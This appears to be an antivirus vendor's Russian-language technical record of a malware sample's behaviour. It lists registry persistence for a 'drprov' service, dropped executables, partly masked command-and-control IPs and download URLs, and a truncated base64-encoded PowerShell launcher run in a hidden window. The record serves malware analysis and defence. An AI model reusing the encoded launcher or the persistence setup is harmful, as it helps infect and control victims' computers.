Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\drprov] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\drprov] 'ImagePath' = '"%WINDIR%\SysWOW64\d3dxof\drprov.exe"'
- 'drprov' "%WINDIR%\SysWOW64\d3dxof\drprov.exe"
- 'drprov' %WINDIR%\SysWOW64\d3dxof\drprov.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABYAGYAMgB6ADQANwByAD0AKAAnAEUAegAnACsAJwBfAGwAJwArACgAJwAzACcAKwAnAGkAZwAnACkAKQA7ACQAWQBpAHgAbABiAGwAZAA9ACQARgBjAF8AZQAwAHEAaQAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...
- %HOMEPATH%\cji7olz\rd1jb1i\z2b2rgr.exe
- %HOMEPATH%\cji7olz\rd1jb1i\z2b2rgr.exe
- %HOMEPATH%\cji7olz\rd1jb1i\z2b2rgr.exe в %WINDIR%\syswow64\d3dxof\drprov.exe
- %HOMEPATH%\cji7olz\rd1jb1i\z2b2rgr.exe
- '19#.#6.15.50':80
- '19#.#75.111.214':8080
- http://pa###witch.com/wp-admin/0pd/
- http://cr#####nskateboards.com/shred/H/
- http://19#.###.111.214:8080/kHe5/ via 19#.#75.111.214
- DNS ASK pa###witch.com
- DNS ASK cr#####nskateboards.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABYAGYAMgB6ADQANwByAD0AKAAnAEUAegAnACsAJwBfAGwAJwArACgAJwAzACcAKwAnAGkAZwAnACkAKQA7ACQAWQBpAHgAbABiAGwAZAA9ACQARgBjAF8AZQAwAHEAaQAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...' (со скрытым окном)